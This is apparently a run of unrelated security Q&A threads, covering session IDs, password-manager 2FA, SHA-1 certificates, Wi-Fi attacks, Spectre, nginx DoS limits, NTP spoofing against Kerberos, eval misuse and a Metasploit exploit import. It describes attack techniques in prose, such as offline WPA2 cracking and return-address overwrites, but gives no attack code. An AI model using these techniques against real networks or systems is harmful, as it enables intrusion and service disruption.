So, my question is, is this a security risk? I think the opportunity is that someone guesses the generated Id - it doesn't look cryptographically secure to me. If I edit the ASP classic website to use, say, a GUID, would that be satisfactorily unique?

I suppose the weakest link is the original site, so the new site would not be making the overall system less secure.

Although there is an accepted answer here, it is somewhat misleading.

  Can I trust a Session ID for Uniqueness?

If uniqueness is the only constraint, then the short answer is yes. If you are Facebook or Google, then due dilligence would require that you take some time to assess how likely collisions are based on the algorithm and the architecture of the application. For applications where the concurrent userbase will be less than a million, the method implemented in common platforms should be sufficient.

However uniqueness just addresses the functionality of the system. From a security viewpoint you need to ensure that the session id is not predictable - i.e.

that cannot be inferred from available data; md5(CLIENT_IP) would be a poor session id
that attempting to brute force guess the session id is difficult; next_session_id=last_session_id+1 would be a poor choice

If you really must implement your own session id generation, then use a good random number generator. Have a look at the size of the session ids your current system is generating and aim for at least that size in your implementation.

user52472 said:

  Storing session tokens in the database could allow an attacker to impersonate other users if they can gain access to these tokens via a SQL injection attack

Given that the whole point of server side sessions is predicated on server side storage, this can be better stated as:

Storing session tokens on the server could allow an attacker to hijack sessions if they are able to inject code which reads the storage

....although the nature of SQL is such that it is usually the low hanging-fruit of code injection.

One solution is to not store the session data against the session id, but a transformed representation of it (e.g. sha1(session_id + salt)) but this is only provides limited benefits - if the salt and mechanism are exposed, the mechanism is inneffective. OTOH this easily translates to other storage substrates.

If the sessions are stored in a relational database then its possible to protect against enumeration via code injection by disallowing direct access to the underlying table by the account used by the application - instead restrict reads and writes to a single record based on the key (session id) supplied as an argument to a stored function with privilege separation.


What security benefit does 2FA provide a password manager? It's no secret that many popular password managers (1Password, Dashlane, LastPass, KeePass, and many others) support some form of two-factor authentication. This is often implemented via TOTP or other systems, but it could very well also be U2F-based or similar.

However, TOTP-based two-factor algorithms don't store a secret in their digits, neither does U2F provide the ability to encode a secret in its response.

Given this, this leads me to one of the following assumptions:

The password manager server will refuse to send you your (encrypted) vault unless you present 2FA credentials,
Or your password vault has multiple keys, one of which is stored (I'd assume visible to a theoretical rogue employee) on the server and sent down after a 2FA challenge is passed.

Assuming the above is correct, the "second factor" would only be protecting something static: either a static encryption key sent by the server, or the encrypted vault itself. In theory, a rogue employee of a cloud-based password manager would then be able to use their access to either get my vault or one part of my vault's encryption key.

Similarly, non-cloud password managers (such as KeePass) would have the same issue. The 2FA section would only be a measure implemented in code (and, assuming an attacker has enough access, something they'd be able to patch out).

So, unless I've missed something critical here, what real security benefit does 2FA provide on a password vault? How would 2FA realistically protect me against a stolen vault file more than just a strong password?

assuming we're talking about a true cloud-based platform, you can't protect from the sum combination of the access employees have as a group - at some level you need to place your trust in the sum of them since across employees they would have enough permission to MitM your sessions anyway & steal secrets at a later point (even if the master password/encryption keys are kept on your side now - at a later point the code your run from them that you expose those keys to could have updates to also be stealing the keys - you trust your keys to that code.. and they control it... the only guarantee you have that the code won't do that in future is their promise, and ideally them going to effort to compartmentalise what it takes for them to be compromised like that so it needs to be more than one employee).

The hope is that they compartmentalise trust in a way where it takes multiple bad actors for something bad to happen.

on the benefit of MFA:
What MFA is protecting against though is a whole bunch of threats primarily to your endpoint, including things like shoulder-surfing.  Typically these are frankly the bigger threat than a multiple-rogue-employees-targetting-you scenario.

I got downvoted on something where I think my answer ads significant content over what's above:
Even if secrets are encrypted in a way where the decryption is done locally on your machine, if you rely on code coming from the cloud-based password-safe provider, they can steal your passwords.

If they were to go rogue they could supply altered code for how the decryption works, in a way where even with decryption using a key you only have on your computer, used to only decrypt the secrets once sent to your device from encrypted cloud-storage, the rogue code in the web-page/plugin
 that's used as the algorithm for decryption could include javascript/other code to send the secrets back to malicious infrastructure - the security model is only as safe as the total sum of failures it takes (if properly compartmentalised, multiple rogue employees) for your secrets to be stolen in this manner.


SHA-1 deprecation and self-signed certificates I am confusing regarding SHA-1 deprecation.

We use self-signed certificates signed with SHA1 and the expiration is after 1 January 2017.

According to this blog:
http://blogs.technet.com/b/pki/archive/2013/11/12/sha1-deprecation-policy.aspx

  CAs must stop issuing new SHA1 by 1 January 2016.
  …
  For SSL certificates, Windows will stop accepting SHA1 end-entity certificates by 1 January 2017. This means any time valid SHA1 SSL certificates must be replaced with a SHA2 equivalent by 1 January 2017.

Will our self-signed certificates stop to work on 1 January 2016 or stop to work on 1 January 2017?

Added

Just to clarify: If I will issue self-signed certificates signed with SHA1 after 1 Jan 2016 it will not accepted by browsers. Correct?

Added 2

I can work with self-signed certificates. Browsers warn about trust problem but allow me to connect (see images below).

Question if we will issue self-signed certificates signed with SHA1 after 1 Jan 2016 will it continue to work on the same way?

The article you linked to is only relevant for CAs participating in the Windows Root CA Program, not self-signed certs.

Self-signed certs only work if you put them as a trusted CA root in OS or browser. These will continue to work indefinitely.

Windows Root CA Program certs signed with SHA1 are good to 1 Jan 2017.

1 Jan 2016 is the last issue day that SHA1 certs will be accepted. 1 Jan 2017 is when SHA1 certs, whenever they were issued, become invalid.

This is for SSL certs that are not on Windows Vista and Windows Server 2008. Code signing certs have a different schedule.

(Thanks to @bayo15 for comment about self-signed certs being different.)


Secure connection between two clients inside a wifi without internet connection I'm currently trying to understand secure connections inside a WiFi network without an Internet connection.

I would like to use some sort of SSL tunneling inside a WiFi network between two clients.

If I have multiple clients on the same secured WiFi, say WPA2 and two clients want to communicate safely without giving the other clients a way to interfere or listen, what's the best practice? SSL tunneling inside a WiFi exposes great vulnerabilities due to methods like ARP-spoofing or IP table manipulation.

My searches on secure connections inside a WiFi had a very poor outcome. There are tons of articles on how to secure your WiFi in general or how to tunnel your connection in public WiFi networks (SSL/VPN), but is something like a tunnel inside the same network even possible?

I hope this question isn't too basic; I'm pretty new to cryptography.

It is true that many packets sent over Wi-Fi can be collected using ARP spoofing. Because ARP operates on the link layer of the OSI model, there's very little you can do about this.

What is currently accepted as best practice regarding Wi-Fi, is

Use a properly designed security mechanism: WPA2;
Use a strong pre-shared key: 15 characters at minimum and randomly generated;
Switch off the Wi-Fi Protected Setup (WPS) feature.

The pre-shared key must be random because a single handshake packet pair (challenge and response) can be used to crack the key off-line by using brute-force, dictionary, and/or rainbow table attack (or a combination of these methods), facilitated by the Aircrack-ng Wi-Fi suite, for instance.

You can read more about WPA2's vulnerabilities on Wikipedia. It reveals that you should switch the Wi-Fi Protected Setup (WPS) feature off, and that using a strong and sufficiently long shared key is imperative to avoid successful cracking of the pre-shared key by using brute-force over custom hardware (Aircrack-ng running on a FPGA).

Computers communicating over a WiFi connection (client-server) use the application layer of the OSI model, like TLS/SSL (and HTTPS). Using a secure application layer communication protocol (like HTTPS), adds an additional layer of security. So if your requirement is high security, this approach is certainly recommended.

VPN operates on either the data link layer (layer 2) or network layer (layer 3) of the OSI model, depending on the protocol that's being used. So, using VPN adds yet another layer of security.

These multiple layers of security is commonly referred to as Defense in depth. Of course, it is important not to share keys between each security system. You can be sure that if a hacker breaches the first layer by cracking the key, he or she will try to use it on each subsequent layer encountered.


Why were Meltdown and Spectre disclosed at the same time? Both the Meltdown and Spectre vulnerabilities were publicly disclosed on January 3, 2018. (6 days ahead of the originally planned January 9).

Since their public reveal, there has been some confusion between the two vulnerabilities and what the differences are. While the two bugs are reportedly similar, it has been made clear that these are two separate vulnerabilities with different requirements for mitigation.

It seems strange to reveal two critical industry-wide vulnerabilities simultaneously. Are vulnerabilities like these usually unveiled in pairs? Wouldn't it make more sense to unveil the vulnerabilities separately to prevent confusion?

Why were Meltdown and Spectre disclosed at the same time? Why not treat them as two distinct issues?

*Update: This article seems to cover everything.

The attack papers share many of the same authors and use similar but previously unknown attack vectors.

Both exploits resulted from the same (or at least inter-related) bodies of research. Both were initially reported on the same date (2017-02-01) - CVE-2017-5754, CVE-2017-5753, CVE-2017-5715

So assuming you view both of an equivalent seriousness it makes sense the embargo / disclosure period were the same for each. Seeing as both were reported on the same day you would expect both to be publicly released at the same time.

Meanwhile from the authors perspective were one to be released earlier it would have clearly got the majority of the press attention. It seems like a fairer approach for both parties to be equally recognised.


Is it a bad idea for an information holder to e-mail a user their password? A couple of websites with which I'm registered have, after a period of inactivity on my part, each sent me an e-mail to remind me that I'm still registered. In each case, that e-mail has included my password.

Is this a bad idea?

My thoughts are that, yes, it is, on the grounds that:

If they are able to send me my password, does that imply that they're storing it unencrypted?
Given that e-mails like these were sent specifically due to my inactivity, it's possible that I no longer use that e-mail account, which means that it could have been compromised since I last used it.
Users frequently use the same passwords across multiple site. If e-mail is inherently insecure, revealing a password from one site in this way potentially compromises the user's accounts on other sites.

They are either storing it in plain text (likely) or they are using a reversible encryption. So in case of a compromise the password is at risk.
Yes, and it is even worse: Some email providers such as Hotmail delete inactive email accounts and allow other people to register it. The upper management of Twitter was successfully attacked by re-registering an old Hotmail account.
Yes, correct. A reused password, that was revealed in one of those mails, played an important role in the mentioned twitter attack.


Nginx: mod-security rule for http slow DoS attack The only related rule in mod-security for slow DoS is modsecurity_crs_11_slow_dos_protection, and it's for Apache only.
Is there a rule for Nginx?

To my knowledge, NGINX does not include anything like to describe, but we can implement our own. As I understand Apache 2 modsecurity_crs_11_slow_dos_protection, limits the number of connections. modsecurity_crs_11_slow_dos_protection

NGINX has a webpage, Mitigating DDoS Attacks with NGINX and NGINX Plus which mentions several methods for DDoS. Three ideas from their website come to mind:

Limiting the Rate of Requests

  You can limit the rate at which NGINX and NGINX Plus accept incoming
  requests to a value typical for real users. For example, you might
  decide that a real user accessing a login page can only make a request
  every 2 seconds. You can configure NGINX and NGINX Plus to allow a
  single client IP address to attempt to login only every 2 seconds
  (equivalent to 30 requests per minute):

limit_req_zone $binary_remote_addr zone=one:10m rate=30r/m;

server {
    # ...
    location /login.html {
        limit_req zone=one;
    # ...
    }
}

  The limit_req_zone directive configures a shared memory zone called
  one to store the state of requests for the specified key, in this case
  the client IP address ($binary_remote_addr). The limit_req directive
  in the location block for /login.html references the shared memory
  zone.

Limiting the Number of Connections

  You can limit the number of connections that can be opened by a single
  client IP address, again to a value appropriate for real users. For
  example, you can allow each client IP address to open no more than 10
  connections to the /store area of your website:

limit_conn_zone $binary_remote_addr zone=addr:10m;

server {
    # ...
    location /store/ {
        limit_conn addr 10;
        # ...
    }
}

  The limit_conn_zone directive configures a shared memory zone called
  addr to store requests for the specified key, in this case (as in the
  previous example) the client IP address, $binary_remote_addr. The
  limit_conn directive in the location block for /store references the
  shared memory zone and sets a maximum of 10 connections from each
  client IP address.

Closing Slow Connections

  You can close connections that are writing data too infrequently,
  which can represent an attempt to keep connections open as long as
  possible (thus reducing the server’s ability to accept new
  connections). Slowloris is an example of this type of attack. The
  client_body_timeout directive controls how long NGINX waits between
  writes of the client body, and the client_header_timeout directive
  controls how long NGINX waits between writes of client headers. The
  default for both directives is 60 seconds. This example configures
  NGINX to wait no more than 5 seconds between writes from the client
  for either headers or body:

server {
    client_body_timeout 5s;
    client_header_timeout 5s;
    # ...
}

Notice we only 'slow' connections for a DDoS, while DoS we need to mitigate by closing (or refusing) connections we deem malicious. Keep in mind the attack mitigations mentioned above are application layer DDoS mitigation. So, resources (CPU and Memory) are still be used. See, encapsulation and IP suite (TCP/IP) regarding resource usage, as resources are needed to encapsulate and de-encapsulate (frame -> packet (or datagram) -> segment -> PDU).


Is it possible to cause a DOS attack on a domain by spoofing the DC's NTP request? According to this page:

  Be aware that the Network Time Protocol (NTP) is unauthenticated, and
  unencrypted, and it is possible for an intruder to spoof the time root
  source, causing the wrong time to be set on the DC.

Now according to an article on configuring time servers for DCs, loss of service can be caused when the time on a DC changes:

  Active Directory can't work correctly (or at all) if the clock is not
  synchronized around domain controllers/member machines.

  For example, in Kerberos V5, computers that are more than 5 minutes
  out of sync will not authenticate (which is configurable by GPO:
  Maximum tolerance for computer clock synchronization in Computer
  Configuration\Windows Settings\Security Settings\Account
  Policies\Kerberos Policy).

  Another example is replication, Active Directory uses time stamps to
  resolve replication conflicts.

Say an attacker is sitting on a network and for whatever reason decides to spoof the NTP traffic and cause a DOS attack. Potentially, users could not access some databases, log into their machines, and a variety of other things could occur. Are there any checks in place for such a thing, or does the server assume that the sysadmin is using IPsec / other security measures, as suggested by the first article? Would some things break instantly, such as databases, while Kerberos or AD tombstones would take a while to cause problems?

I'm pretty new to messing with domains at all, this was just something I wondered about while fixing a time problem on a network.

Yes, in theory, you could significantly disrupt Kerberos (which is time sensitive) by blocking time or sending strange time answers in response to requests. This is why AD has moved to authenticated time, and mostly abandoned SNTP. Mind you, NTP (on which authenticated time and SNTP are based) uses quorum-counting, so you would have to disrupt multiple time sources or spoof answers from a majority of the time sources.


Where is the limit between an attacker and a victim (zombie) in a DDoS attack Let's say that A is DDoSing B and I'm a member of his botnet. Who says that I'm not a real attacker but a victim? How you determine it?

There is no absolute way of identifying the person behind a machine and his true intentions.

You can't find out if the person in front of the keyboard has the intention of performing a DoS attack. A forensic investigation of a computer can reduce this uncertainty. People with intention of doing DoS will leave certain traces behind while tools for turning computers into zombies that perform distributed DoS will leave different traces.

Tracking down a person and proving he is responsible for controlling a botnet is easier than the reverse - proving a person innocent because he is a victim of malware. The legal system uses the presumption of innocence so a person is considered innocent until proven guilty.

The attribution problem is particularly thorny in information security. Attributing intention becomes particularly difficult when the attacker is skilled.


File encryption allowing changing password My app needs to work with encrypted user files on their devices. It should keep the data secret when someone gets hold of the device. For this, I'm thinking about the following schema (which may be wrong, and that's why I'm asking).

The app generates a random key k (of a fixed predefined length), which will be used as a master key for the file encryption.
It defines K = k || o, with o being a string of zeros (of a fixed predefined length).
It generates and stores a random salt.
It computes h(""), i.e., it applies a key derivation function to an empty string (which is the initial password; that's fine as the user will be prompted to change it before they store any data).
It stores the K ^ h("") in the key file (let's assume that the lengths match).

For validating a password, the content of the key file gets xored with h(password) ^ h(""). The result must be k || o, i.e., end with (at least) as many zeros as the length of o.

In order to change the password, the old password gets validated and when the check passes, the content of the key file gets xored with h(oldPassword) ^ h(newPassword) and the key file gets overwritten by the result.

I wonder whether the xoring is sufficient. It's quite possible the whole schema is a mess, but I couldn't find anything appropriate.

I think your setup is actually ok, provided:

The h() function is a slow, iterated hash to slow brute force attacks
The encryption with master key is done correctly, e.g. AES-GCM
Key sizes are appropriate, probably 128-bit k and 256-bit o

But I would caution that you are right on the edge here, this is difficult stuff to get right and you could easily introduce weaknesses. Also, this is a quick analysis from a crypto enthusiast, not an expert.


Which attacks are known that exploit the vulnerability known as Spectre? As reported yesterday the Linux and Windows kernels will receive a security update pretty soon to close vulnerabilities that concern 'kernel memory leaking'.
What exactly the design flaw is, that was probably identified at the end of 2017, is unknown to the general public. There is some speculation though.
Quote from the linked article:

Modern processors, like Intel's, perform speculative execution. In order to keep their internal pipelines primed with instructions to obey, the CPU cores try their best to guess what code is going to be run next, fetch it, and execute it.
It appears, from what AMD software engineer Tom Lendacky was suggesting above, that Intel's CPUs speculatively execute code potentially without performing security checks. It seems it may be possible to craft software in such a way that the processor starts executing an instruction that would normally be blocked – such as reading kernel memory from user mode – and completes that instruction before the privilege level check occurs.
That would allow ring-3-level user code to read ring-0-level kernel data. And that is not good.

The article also mentions a paper published in mid 2017, that describes a method to defeat KASLR.
I personally did not yet come across an attack that makes use of this method or any method that exploits the vulnerabilities that are now being fixed. Are there any?

Update:
As mentioned in the comments by Alexander these vulnerabilities have now been given the names Meltdown and Spectre.
Meltdown in short mean is a "novel softwarebased side-channel attack exploiting out-of-order execution on modern processors to read arbitrary kernel- and physical-memory locations from an unprivileged user space program". The linked paper as well as this post by Jann Horn of Google Project Zero are the go-to ressources regarding this vulnerability.
"Spectre attacks involve inducing a victim to speculatively perform operations that would not occur during correct program execution and which leak the victim’s confidential information via a side channel to the adversary." Again, the linked paper and the aforementioned GPZ post seem to be the go-to ressources.
Both papers present working attacks that exploit the vulnerabilities. My understanding so far is, that an attack against Spectre seems to be more impactful and more "portable" if you will, than an attack against Meltdown.open for discussion
This is why I want to shift this question towards Spectre and specify it in the following way:
Are there any known attacks - apart from the ones we saw in the Spectre paper or in other PoCs - that exploit the vulnerability known as Spectre?

From the reports I have seen, there are no publicly known attacks (other than the proof of concept demos) using these methods. That being said, there is no real way to know for sure someone didn't find these problems and was very careful about leaving traces in their attacks. I'm sure various government would have kept quiet about these methods and used them to enhance their own cyber capabilities. Moving forward, I am sure there will be lots of people trying to exploit these methods against vulnerable systems.


Will CA's revoke a certificate to phishing websites Usually, websites will say "don't sign in unless you see the secure icon". If the user hasn't noticed that the URL is wrong (or is misleading like this recent security firm has discovered), and purely trusts that icon, they may fall victim to a phishing attack. In this case, would a CA revoke the phishing site's certificate, or am I missing the point of revocation? Also, if CAs do revoke certificates for phishing sites, are there any well known examples?

First of all, this differs for each CA. According to a Technical Support Specialist at GlobalSign:

GlobalSign does not revoke certificate without the permission of the owner. [...] For phishing sites, our vetting team will perform security checks on the domain prior to issuance.

On the other hand, DigiCert has some other rules:

DigiCert revokes certificates for the reasons stated in the DigiCert CPS, including the following:

[...]

DigiCert obtains evidence that the certificate was misused;

DigiCert is made aware that a subscriber has violated one or more of its material obligations under its agreement with DigiCert;

A third party provides information that leads the DigiCert to believe that the code signing certificate is compromised or is being used for suspect code;

Furthermore, a certificate is meant to indicate that you are really connected to the right site. It does not give a judgement about the content or quality of the site. A certificate for fake-paypal.com is valid and correct if you are really connected to fake-paypal.com, even if that site impersonates the real PayPal.
Edit: DigiCert revokes certificates that have been "misused", but what this exactly means is open for interpretation. I think using a certificate for a man-in-the-middle attack is definitely misuse, but I am not sure about using it on a phishing site.


What can an attacker do with an OpenID token Say an attacker had access to a list of OpenID tokens, what could the attacker leverage with that to access a system?

Would they need to have another piece of information, MITM? Or can they just use that to authenticate.

The token essentially is what gives you access for a certain amount of time. So, yes an attacker could use the token to access a system.


I've been hacked now how do I recover So around December 12th my home network got taken over. I had the default password set and never changed the ssid. Anyway now I don't know what to do. I can't access the web interface of my router so I bought a new one but I can't set that up without interference. Even when I disable all of my network drivers I have an external IP show up. I can't do anything without being under the microscope.

The question is really broad and will most likely be closed as too broad.  Here are some tips:

disconnect from the internet
turn everything off
Borrow a laptop from someone else
reset your router back to factory
Use the laptop to connect to the reset router and change the admin user name and password and SSID
Take any computer on your network and boot from a boot disk and start over.  Make sure you have your files backed up.  Google on how to secure your operating system; that's too broad to do here
Invest in a good anti-malware program
Never use default passwords again
At that point, you might consider reconnecting to the internet

There are probably a lot more things you can do, but this should be a good start.


Should or shouldn't I show a serial number, MAC address and other product ID when I sell it online? I want to sell online some of the electronic stuff that I don't need anymore, such as my ASUS Wi-Fi router, and I'm wondering when I upload photos of it should I leave its serial number, MAC address, and pin code written on the back of the device visible or should I photoshop it out. I checked other people's stuff pages and many of them take explicit photos of their devices' serial numbers, MAC addresses, etc. Why?
Furthermore, some potential buyers don't want to buy your product if ID numbers are blurred out. Why so, why do people need to see those numbers of the products they don't own yet and do they actually need to? Is it safe for me to publish such data? Theoretically, someone can go into their ASUS (or another brand) account and register a product with my serial number, if I haven't registered it myself, right?

Exposing that info is no risk to you, especially since you are selling it ... If a vendor allows you to register a product with only a serial number, that's a separate problem and will be unique to the specific vendor, product, and weakness in processes.
People want the serial number to know that you are being truthful in your description of the product. You could be claiming that an old product is a newer version.


Does google have access to all information on a Protonmail android app? Gmail reads my emails so Protonmail becomes more appealing to me. It is more secure, is open source and they do not read your emails or give away your information to third parties. But, Protonmail also has an android app.
 Now, if I install the app on an android device and log in, can Google steal my login credentials and spy on my E-mails from there?

It is not known to what extend google snoops on android customers.
I believe the Google Play Services are commonly installed with full privileges which you can find under "Device admin apps". That could allow them to snoop on you, but doesn't necessarily mean they do.
If you don't trust the Google Play Services, you could install a custom ROM without Google Play Services, (Or at least MircoG if you trust them) to mitigate the risk.


Too many spam comments My website is receiving too many spam comments, what I do?
I have installed a plugin but I'm not satisfied with it.
How to block spam comments and spam users etc.

Assuming the spam comments are to blog posts or similar...configure a CAPTCHA so that a successful response to the challenge is required prior to a comment being posted or a contact form being submitted. It should reduce the number of automated responses.

CAPTCHA modules are available for most web software packages.

More about CAPTCHAs here.


Why is it important to never use `eval` in conjunction with AJAX? From OWASP AJAX Security Cheat Sheet:

  Eval is evil, never use it. Needing to use eval usually indicates a problem in your design.

I understand that evaling untrusted JS code can lead to a whole world of pain, nonetheless I fail to understand the categoricity of OWASP's prohibition.

The way I understand things it is perfectly possible to use eval securely, namely when the eval'd code is trusted.

I'm developing a hobby web app (game) in my spare time (unpublished yet). In this app I do use eval. Even though this is a single page I sometimes feel it is simpler to make the server send chunks of HTML code to the browser instead of having the browser construct the page from scratch. So this is what I'm doing:

Have the browser start an XMLHttpRequest to the server for a page fragment;
Load the received HTML code (this implies innerHTML, which incidentally is another thing OWASP warns agains)
Since innerHTML doesn't run JS code present in the assigned fragment, search the loaded HTML code for script tags and eval them.

By doing this I clearly violate OWASP's guidelines. Nonetheless I fail to see how this is any less secure than normal loading a HTML/CSS/JS page from the server w/o AJAX, just by typing the page's address in the browser address bar. In both cases (loading the page from address bar vs innerHTML'ing and - gasp! - evaling the response from an AJAX call to the server) there is an implicit assumption of trust to this webpage. If the server is compromised and starts emitting rogue HTML / JS code then everyone is equally screwed even if no evil eval is used. Otherwise, everyone is equally safe.

However I know that me not being an expert I likely have very limited understanding and if OWASP categorically forbids something then they likely have good reasons for this. Let me ask then, what are the risks of doing what I described?

tl/dr: For a game you are working on for fun with no one else's
  information at risk then sure - do whatever makes your life easiest.  You're
  welcome to balance security and usability however you want as long as
  you aren't risking other people's information.  What you are doing
  certainly isn't uncommon.  However, this decision does in fact prevent
  you from following some best security practices, and so overall I
  think that advice from OWASP is perfectly applicable.

It's true that what you are doing isn't especially crazy, isn't necessarily uncommon, and isn't substantially different than a more typical use-case .  It's also true that statements like "X is evil don't ever do it" are a bit over the top, and rarely entirely true.  However, I think there are a number of points you are still missing (even after McMatty's mentioned an important detail in his answer), so I figure it's worth discussing more.  However there is one important caveat worth mentioning first:

Security is never "All or nothing"

Security is always a balancing act.  The fundamental question of security is basically "is this secure enough for my purposes?"  An anonymous-cat-picture-voting site hardly needs any security at all, unlike the nuclear-missile-launching site.  If you understand the implications of the decisions you make and are happy with the balance your application strikes between "this is easy for me to write/maintain" and "this is secure enough for my purposes"  then it doesn't really matter what OWASP says (assuming, of course, that you are actually making an informed decision and aren't just saying "I don't care if my customer's credit cards get stolen").  If you're just making a game for fun then it doesn't really matter.  Of course if it later has success and you start integrating a payment portal for in-app purchases, then you might find yourself having to go back and revamp your entire system for better security.

All that being said, what does OWASP's advice mean for your use case?  Here are some details I think you may be missing

You don't actually have to use eval here.  If you have a script tag then rather than evaling its contents you can just create a script tag and write it to the body (see this question).  Of course, there is little practical difference between using eval and writing a script tag to the body so this is somewhat pointless...
With javacript defined directly on the page you can't use a strict CSP to stop XSS attacks. With a sufficiently strict CSP you can tell the browser not to allow any inline javascript to execute on the page.  This is very effective at stopping an XSS attack if someone manages to find one in your system.  However, you can't do it if you have your own inline javascript.
External javascript files can have a hash attached that will prevent the browser from using the file if does not match (aka if the external file has been tampered with).  This doesn't matter as much in your case because you are loading your own internal resources, and if your internal resources are tampered with then you have a much bigger problem that a hash won't stop.  However, defense-in-depth suggests that such steps can be valuable anyway.  For instance, a larger app may have scripts delivered from different "services" in your system, and an attacker may gain access to only one area of your system.  By including sub-resource integrity checks even on internal systems, you can easily provide a barrier that might stop an attacker from compromising further parts of your system.  This is impossible with inline scripts.
Needing to use eval usually indicates a problem in your design. I'm highlighting this statement from OWASP, because I think it is applicable and you are overlooking it.  You said you are doing this because sometimes you find it easier to have the server send down chunks of HTML instead of having javascript build the page.  Apparently when this happens sometimes the server even sends down more javascript itself.  All this to say: yes, I think there is a problem with your design.  Don't get me wrong, that doesn't mean you need to go and overhaul everything.  However you have some pages where javascript builds the page, some places where the server builds the pages, and some pages where the server builds the page and also sends down more javascript to control the new page.  This might very well be easier for you right now, but from an outside perspective I think it's easy to say that you really do have some design "smell".  That doesn't have to be a big deal, and I don't mean that to be negative, because we all have to make design decisions that make the most sense to us.  Still, whether you realize it or not, I think you are in many ways proving the truth of what they are saying.


How to justify a Vulnerability Research function at a company From a business standpoint, how would you express the need for a vulnerability research team?

In the end, would it be infeasible from a business standpoint unless said business chalked it up as a marketing cost (to promote other services) or sold the vulns?

SCENARIO

Imagine working at a fortune 500 company that provides infosec products and has multiple clients.

Every time there's a new CVE out, they create snort rules and implement them.

AFAIK the only selling point would literally be selling any vulnerabilities found and using the rest as internal advisories (like Cisco Talos).

However, with opportunity cost it would be cheaper for the researchers to bughunt on their own time. For example, if fuzzing for an OSX/iOS vuln, it would be cheaper to do it in one's spare time and get the full X amount, rather than a lesser amount in salary and maybe 20-50% of the value of the vulnerability as a bonus.

Seeing as you work at an infosec company, one word; prestige. Blog posts about discovered vulnerabilities are gold in the sphere of commercial information security.

The root cause analysis gives the company the ability to showcase their expertise in one of the most respected areas of the field. Also, as someone who has found a few inconsequential  CVE's, I'm inclined to say they work wonders for the credibility of the finder when it comes to approaching customers. If a restriction is that vulnerabilities found on company time must be disclosed under the company name, it will provide invaluable proof your company is on the frontier. For a Fortune 500 this is highly desirable, and others are doing it too. Businesswise the impact of the CVE is not that important; the people that hire you might know what a CVE is, but they're ususally not the type to say "oh this is just small game". So throw some obscure debian package into AFL, some obscure media format into Peach, hone your gdb/WinDbg skills and make a name for yourself.


What certification would be considered equivalent to the U.S.-EU Safe Harbor Framework? The Safe Harbor website says the following:

  The European Commission’s Directive on Data Protection went into effect in October of 1998, and would prohibit the transfer of personal data to non-European Union countries that do not meet the European Union (EU) “adequacy” standard for privacy protection.

Is there any mapping to other compliance frameworks? Would ISO 27001 or SSAE 16 (or ISAE 3402) be deemed equivalent or "adequate"?

EU Data Protection Directive and the EU-US Safe Harbor are privacy focused.

ISO 27001 and SSAE16/SOC1 could, but would not likely address this in the same way. ISO 27001 is focused on aligning and building in processes for information security. SSAE16/SOC1 is focused on controls which would affect financial statements, and is not intended for public distribution or government review (unless the government is a utilizing the sub service organization).

However, a SOC2/SOC3 report based on the Trust Principles can include the Privacy Principle, you can read the Privacy Principle as published by the AICPA. ISO/IEC 29100:2011 from ISO would be a standard more aligned with the EU Data Directive.

To really get a good understanding of the modern concepts of privacy, you will want to start at the Fair Information Practices Principles which were originally developed by the US in the 1970s, eventually influencing the EU Data Protection Directive, which then comes back to the US via the Safe Harbor provisions. Currently, in the US there is no overarching omnibus privacy law with this level of specificity. A good place to start your research and learning on privacy legislation is over at the IT Law Wiki on Wikia.


How is no password more secure than username+password? Context: I have a laptop supplied by my organisation. I am trying to connect to eduroam, but I cannot do it using my organisation's laptop. When I use a personal computer, it asks me for a username and password, just as a standard wifi network asks for password.

I found the text below in the internal IT policy. I need help understanding it. To me it's totally counterintuitive:

  Using hotel, coffee shop and public WiFi hotspots

  You may be able to connect your laptop to use the WiFi in hotels, coffee shops etc but this depends on how the WiFi is set up:

  if it’s “open” (that is, you don’t need any password to connect) then you should be OK
  if it’s set up so that you need a password to connect to the WiFi (and this password is given to you by the establishment) then again, you should be OK
  if however you can readily connect to the WiFi but you need to enter a username and/or password in your web browser software, then you will not be able to access the service.

  The security standards to which our laptops are built, means that they cannot connect directly to a “dirty” or insecure internet connection – everything goes via the secure VPN connection into our IT network. So the user can’t get to the web page where they’d need to type in a password, without first connecting to the VPN – and they can’t connect to the VPN without first getting to the web page.

So basically, I can use my work's laptop in a coffee shop where the network is shared by anyone (for which so much has been written against, e.g. here). I can also use it in a network with password security only, for which there is even a WikiHow (!) guide on hacking. And yet, I cannot use it in a network that requires both username and password, which surely must be much more difficult to hack into.

What is this sense of security that underlies my organisation? Am I missing something?

They have configured the laptops to spin up a VPN connection and only speak to "home base" after they go on the network.  That means that if there is a local "captive portal" that requires you to enter credentials, you will not be able to use it, because that would require evading the VPN.

(It's a chicken and egg thing.  No VPN, no ability to reach the portal - no portal, no ability to spin up the VPN!)

It is more secure because they are ensuring that, no matter what connection you have, any network traffic you send goes through your company's network, your company's controls, and is not subject to interception or manipulation by any other party.

It unfortunately breaks the case of Wireless with a "captive portal," but allowing for that case would lower their security by allowing your machine to talk to arbitrary machines directly rather than through the VPN.

The "eduroam" service that you mention in the comment explicitly  states that they do not have a captive portal, but use WPA-Enterprise based on 802.1X:

  Does eduroam use a web portal for authentication?

  No. Web Portal, Captive Portal or Splash-Screen based authentication
  mechanisms are not a secure way of accepting eduroam credentials....
  eduroam requires the use of 802.1X...

802.1X is the kind of authentication you need to enter to configure your machine to connect to the network, so this case is one that your IT policy explicitly states that they allow:

  if it’s set up so that you need a password to connect to the WiFi (and
  this password is given to you by the establishment) then again, you
  should be OK

In fact, eduroam appears to be very well aligned with your IT policy - they both distrust the "bad security" imposed by captive portals.

Based on the edit to the original question:

  I am trying to connect to eduroam, but I cannot do it using my
  organisation's laptop. When I use a personal computer, it asks me for
  a username and password, just as a standard wifi network asks for
  password.

That suggests to me that your organization's laptop is simply not prompting you to connect to new networks the same way that your personal computer is.  This could be because of different operating systems or different policies applied to the two computers.  You may simply want to ask your IT group for help configuring 802.1X for connection to the eduroam network; using that keyword will make it clear to them you're trying to do something they allow.


Finding buffer-overflow code vulnerability I am exploiting a vulnerability given in here.

The exploit works perfectly but I want to find out the code causing the vulnerabilities it is a RET overwrite base attack the RET address is being overwritten to the shell code. I want to know that vulnerable function epilog and prelog.

Return addresses are generally overwritten in stack based buffer overflows where the data copied into a buffer exceeds the allocated buffer space and corrupts/overwrites a stack frame, including the return address (future EIP).


Metasploit is not detecting newly imported python exploit I have added OpenSSH 7.2p2 - Username Enumeration exploit to Metasploit, which is a python exploit. But after so, it does not detect that exploit every way I tried.

I have placed it under the directory /.msf4/modules/exploits/linux/remote and made it executable. Then I ran the command updatedb.

In my locally placed exploit-database it was under the directory exploits/linux/remote.

